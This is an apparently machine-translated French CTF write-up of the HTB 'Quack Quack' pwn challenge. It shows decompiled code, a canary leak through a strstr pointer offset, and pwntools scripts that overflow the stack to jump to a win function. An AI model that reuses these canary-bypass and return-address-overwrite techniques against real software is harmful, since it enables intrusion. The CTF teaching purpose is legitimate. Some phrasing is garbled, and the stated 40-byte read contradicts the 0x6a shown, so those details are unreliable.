Cyber ​​Apocalypse 2025 - Quack

· 10min · Juicecat
Table of Contents

Quack Quack

Un de mes défis préférés du HTB CTF de cette année était Quack Quack

Pour Quack Quack, on nous a donné deux choses:

  1. Un fichier elfe binaire quack_quack
  2. Une IP et un port pour se connecter à index.md-27.png

La connexion à la télécommande nous a accueillis avec un canard et une invite, qui sort immédiatement quelle que soit la contribution donnée index.md-28.png Étant la seule autre chose qui nous a été donnée, j'ouvre le binaire quack_quack à Ghidra pour voir ce qui se passe (je suppose que le binaire est ce qui fonctionne sur la télécommande). index.md-29.png Après le démontage, nous ne voyons pas quelques fonctions intéressantes à gauche:

  • duckling
  • duck_attack
  • banner
  • setup
  • main

Parmi ceux-ci, seuls duckling, duck_attack et main sont pertinents. Jetons donc un coup d'œil à la fonction principale pour voir comment la logique du programme se déroule: index.md-30.png Ici, nous voyons qu'en atteignant la fonction principale, le programme crée simplement un canari, exécute duckling, puis sort. Alors, regardons duckling index.md-31.png Il y a beaucoup de logique ici, alors décomposons-le:

  char *pcVar1;
  long in_FS_OFFSET;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;

La première partie de la fonction alloue un tas de variables - rien de fou. local_10 est la valeur canari.

Ensuite, il sortit l'invite à STDOUT (rappelez-vous, c'est la même invite que nous avons vue lors de la connexion à la télécommande):

  printf("Quack the Duck!\n\n> ");
  fflush(stdout);

Lit ensuite 102 octets de stdin et stocke les données au pointeur local_88

  read(0,&local_88,0x66);

Nous effectuons ensuite la fonction strstr ( const char * str1, const char * str2 ) C, qui renvoie un pointeur à la première occurrence de str2 dans str1, ou pointeur nul s'il n'est pas trouvé. Essentiellement, il recherche notre entrée &local_88 pour la chaîne "Quack Quack", et renvoyer un pointeur nul si la chaîne n'est pas trouvée ou le pointeur vers où "Quack Quack" est d'abord trouvé.

  pcVar1 = strstr((char *)&local_88,"Quack Quack ");

Le programme vérifie ensuite si le résultat est un pointeur nul. Si c'est le cas, il sort et écrit un message. Encore une fois, c'est ce que nous avons vu lorsque nous nous sommes connectés.

  if (pcVar1 == (char *)0x0) {
    error("Where are your Quack Manners?!\n");

    exit(0x520);
  }

Si nous le voulons, nous pouvons vérifier cette logique en nous connectant à nouveau à la télécommande et en entrant "Quack Quack" (il vérifie l'espace) index.md-32.png

Retour au code:

  printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);

Ici, le programme imprime un message avec une substitution, remplaçant %s par les données Situé 32 octets après le pointeur de l'extrait précédent. Juste après, il effectue une autre lecture STDIN, mais cette fois lit 40 (0x28) octets et le stocke dans une variable:

read(0,&local_68,0x6a)

Après cela, il imprime inconditionnellement une chaîne fixe et revient.

  puts("Did you really expect to win a fight against a Duck?!\n");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {

    __stack_chk_fail();
  }
  return;

En effet, nous pouvons voir ce comportement: index.md-33.png

Il est assez évident à ce stade que nous sommes conduits à une attaque de débordement de tampon. Le problème clé est que local_68 n'est que 0x20 (32) octets loin de la fin du premier tampon, mais la deuxième lecture accepte 106 octets. Cela signifie que nous pouvons écrire au-delà des limites du tampon et potentiellement écraser l'adresse de retour.

N'oubliez pas qu'il existe une autre fonction que nous avons vue: duck_attack. Il est évident que cette fonction est notre cible. Nous voulons l'exécuter sur le serveur, mais le tracé s'épaissit: N'oubliez pas que nous avons déjà vu le code pour le func main et le func duckling, et nulle part dans le code, cette fonction est-elle appelée. Donc, dans des conditions normales, Cette fonction ne sera jamais appelée, et il n'y a pas de chemins logiques qui conduiront à cette fonction en cours d'exécution. Ce qui signifie que la manière seulement de l'exécuter éventuellement sur le serveur consiste à écraser une adresse de retour via un débordement. index.md-34.png

Cool, alors essayons une attaque de débordement de tampon. Cela peut être facilement effectué en attachant un débogueur et en générant une charge utile de 106 octets de long et utilisez-le comme deuxième entrée. N'oubliez pas que nous devons saisir "Quack Quack" comme première entrée pour passer le chèque: index.md-35.png index.md-36.png

Voici où le défi devient un peu plus difficile. Il a une protection contre les attaques de débordement de tampon, comme le montre le crash _DAST5_*: terminated. La protection est offerte probablement par le compilateur générant des chèques de canari automatique avant les sauts RBP. Vous pouvez en savoir plus sur la façon dont cela fonctionne here, mais en gros:

  • Avant le tampon RBP en mémoire, une valeur canari est placée (juste un tas de données aléatoires générées au moment de l'exécution).
  • Si la valeur canari est modifiée, cela signifie qu'un tampon le précédant a débordé dans l'adresse Canarie, et le programme sait qu'un débordement de tampon s'est produit. C'est à ce moment que l'accident se produit.
  • Parce que le RBP stocke l'adresse de retour, la fonction ne peut pas renvoie à moins que le Canary reste inchangé

Cela crampe notre style, car une attaque de débordement de tampon typique fonctionne en écrasant l'adresse de retour à une adresse de notre choix (dans ce cas, nous choisissons l'adresse de duck_attack). Cependant, parce que le pointeur de retour est à la fin de la pile, nous aurions besoin de remplacer le Canary pour y accéder.

La seule façon de contourner ce type de protection est de fuir en quelque sorte la valeur canari à l'heure d'exécution, et lors du débordement et de la destruction des données en dehors du tampon prévu, nous plaçons la valeur canari où elle était au décalage correct.

Il existe une vulnérabilité dans la logique sur la première entrée:

  pcVar1 = strstr((char *)&local_88,"Quack Quack ");
  if (pcVar1 == (char *)0x0) {
    error("Where are your Quack Manners?!\n");

    exit(0x520);
  }
  printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);

Pour résumer, ce code:

  • Renvoie le pointeur de la première instance de Quack Quack dans l'entrée
  • Imprime la mémoire décalée à 32 octets de ce pointeur.

Ici, nous pouvons manipuler le pointeur et, espérons-le, le faire imprimer la valeur canari. Ouvrons à nouveau notre débogueur et définissons un point d'arrêt juste après la sortie pertinente. index.md-37.png Maintenant, nous avons essentiellement une mémoire arbitraire lue en manipulant le décalage de la sous-chaîne vérifiée depuis le début de l'entrée (il ne peut être que 102 octets grands). Malheureusement, nous ne savons pas où se trouve la valeur canari, par rapport à l'endroit où le tampon d'entrée est stocké. Par exemple, prenez l'exécution suivante avec 49 A précédant la chaîne: index.md-39.png Lorsque le %s est substitué, nous le voyons ne rien faire. En effet, l'adresse mémoire 32 octets de tout le pointeur est généré avec 49 A est vide. Puisque nous devins avec la mémoire maintenant, nous devrons commencer à automatiser. Pour cela, j'utiliserai Python et pwntools.

Écrivons un script rapide pour bruteforce le nombre de A nécessaires pour fuir le Canary. Dans ce cas, nous devons seulement tester 1-90, car la taille du tampon maximum est de 102 octets et "Quack Quack" prend déjà 12 ans.

#!/usr/bin/env python3
from pwn import *
import re
import binascii

context.log_level = 'error'

host = '94.237.50.164' 
port = 39565
duck_attack = 0x0040137f
def leak_canary(i):
    conn = process('./quack_quack')
    conn.recvuntil(b'> ')
    pre = b'A' * i
    payload = pre + b'Quack Quack '
    
    conn.sendline(payload)
    response = conn.recvuntil(b'the Duck?')
    print("Response:\n", response)
    
    out = response.split(b'Quack Quack ')[1].split(b',')[0]
    print(f'Data extracted with offset {i}: {out}')
    conn.close()

def main():
    for i in range(0,90):
        leak_canary(i)

if __name__ == '__main__':
    main()

Je n'ai pas écrit de commentaires dans mon code, mais cela devrait être assez explicatif. Voici la sortie: index.md-40.png Pour la plupart, la mémoire est vide. Mais vous verrez dans certains placés, nous parvenons à obtenir un peu de données. Ce n'est qu'avec le décalage de 89 que nous voyons réellement une quantité utilisable de données. Cela signifie que nous avons probablement localisé le Canary à la fin! Nous avons affaire à des données binaires ici, donc elle ne sera pas affichée correctement sur un terminal. Pour résoudre ce problème, nous devons faire des analyses dans notre script.

Remarque: je suis resté coincé pendant plusieurs heures ici. Le problème était que nous lisons la mémoire et le sortons, donc la Endianness est retournée. Nous devons réorganiser manuellement l'endian afin d'avoir des données utilisables

Nous changeons des scripts comme tel:

out = response.split(b'Quack Quack ')[1].split(b',')[0]
canary_bytes = out[:7]
attack_bytes = p64(duck_attack, endianness='little')
canary = canary_bytes.rjust(8, b'\x00')
canary = u64(canary)
print(f'Data extracted with offset {i}: {hex(canary)}')

Et nous avons maintenant la valeur Canary! index.md-41.png Parce que cela est généré au moment de l'exécution, nous ne pouvons malheureusement pas l'utiliser comme valeur finale, nous devrons l'extraire au moment de l'exécution et l'utiliser dans la charge utile. Pas un problème, mais mérite d'être noté.

Maintenant, rappelez-vous. Notre objectif est de réécrire l'adresse de retour pour revenir à la fonction duck_attack pour imprimer l'indicateur. Et nous connaissons l'adresse de la fonction du démontage: index.md-42.png Nous pouvons ajouter l'adresse en tant que variable et n'oubliez pas de retourner l'endian:

duck_attack = 0x0040137f
attack_bytes = p64(duck_attack, endianness='little')

Mais avant cela, retournons dans le débogueur et essayons de vérifier notre canari. Malheureusement, dans GDB, après avoir frappé notre point d'arrêt: index.md-43.png et inspecter la pile: index.md-44.png , nous ne pouvons pas comparer notre canari à ce qui est en mémoire, en raison de la non-affichage des données binaires sur notre terminal. Nous devrons donc attacher notre débogueur GDB à l'intérieur de notre script où nous pouvons analyser la sortie brute

Pour ce faire, nous ajoutons simplement gdb.attach(conn), puis où nous voulons inspecter, nous pouvons ajouter pause(). Dans notre cas, nous allons simplement ajouter le pause() avant de fermer la connexion. Maintenant, nous avons un débogueur ouvert juste après avoir imprimé le Canary: index.md-45.png Vous verrez que nos matchs Canary! Ce qui signifie maintenant, nous pouvons passer à la deuxième partie de l'exploit (rappelez-vous le deuxième read()?)

Maintenant, nous avons le Canary et nous essayons d'écraser l'adresse de retour. Tout comme avec le Canary, nous ne connaissons pas la position de notre cible par rapport à la pile que nous écrasons. Nous pouvons faire quelque chose de similaire à la façon dont nous avons fait la première partie et Bruteforce. N'oubliez pas que le Canary sera juste avant RBP, afin que nous puissions lentement ajouter à notre débordement avec notre canari à la fin.

Bien que le débordement soit assez petit, le Canary ne sera pas touché et rien ne se passera. Lorsque le débordement est trop grand, nos personnages indésirables écraseront le Canary et nous obtiendrons le crash de la pile. Mais, lorsque nous avons le décalage correct, il chevauchera parfaitement le canari et remplacera l'adresse de retour par l'adresse de duck_attack, en lisant le fichier Flag.txt.

Ajoutons donc ceci à notre script, en itérant sur i:

    res = conn.recvuntil(b'> ')
    payload2 = (b'A' * i) + p64(canary) + attack_bytes
    conn.sendline(payload2)
    res = conn.recv_raw(256)
    print(f'{i}: {res}')

Et nous obtenons un résultat intéressant avec 88 A: index.md-46.png

Mais ... nous espérions obtenir le drapeau. Où est-il? Pourquoi affichons-nous à la place un texte aléatoire?

Saisons dans notre débogueur et découvrons: index.md-47.png Nous vérifions que RBP n'était pas écrasé. Cela mène donc à la question: où notre charge utile a-t-elle fini? mdr. Jetons un coup d'œil à la pile et découvrons. index.md-48.png D'accord, c'est intéressant. Notre charge utile (40137f) est à 0x7ffe95725d30, mais nous le voulons dans 0x7ffe95725d20. Ajoutons donc quelques octets avant notre charge utile et notre débogage d'attaque: index.md-49.png D'accord, c'est un progrès. Nous voyons maintenant que nous écrasons partiellement RBP, conduisant à une adresse mémoire non valide: index.md-50.png Ajoutons donc 8 octets avant notre charge utile d'attaque pour le déplacer en position + (b'A'*8) + attack_bytes index.md-51.png On dirait que nous l'avons! Le Flag.txt sur ma machine était affiché correctement. Nous devons maintenant l'exécuter sur le serveur.

index.md-52.png

Bien, nous l'avons! (Il est 2h du matin maintenant)